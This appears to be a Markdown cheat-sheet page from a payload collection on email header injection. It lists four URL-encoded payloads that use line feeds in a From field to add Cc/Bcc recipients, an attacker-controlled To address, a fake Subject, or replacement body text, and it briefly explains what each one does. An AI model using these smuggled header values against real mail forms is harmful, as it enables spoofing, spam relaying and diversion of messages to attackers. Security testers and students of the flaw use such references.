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36 lines
924 B
Markdown
36 lines
924 B
Markdown
# Email Header Injection
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[https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/)
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## Inject Cc and Bcc after sender argument
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```text
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From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com
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```
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The message will be sent to the recipient and recipient1 accounts.
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## Inject argument
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```text
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From:sender@domain.com%0ATo:attacker@domain.com
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```
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The message will be sent to the original recipient and the attacker account.
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## Inject Subject argument
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```text
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From:sender@domain.com%0ASubject:This’s%20Fake%20Subject
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```
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The fake subject will be added to the original subject and in some cases will replace it. It depends on the mail service behavior.
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## Change the body of the message
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Inject a two-line feed, then write your message to change the body of the message.
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```text
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From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message.
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```
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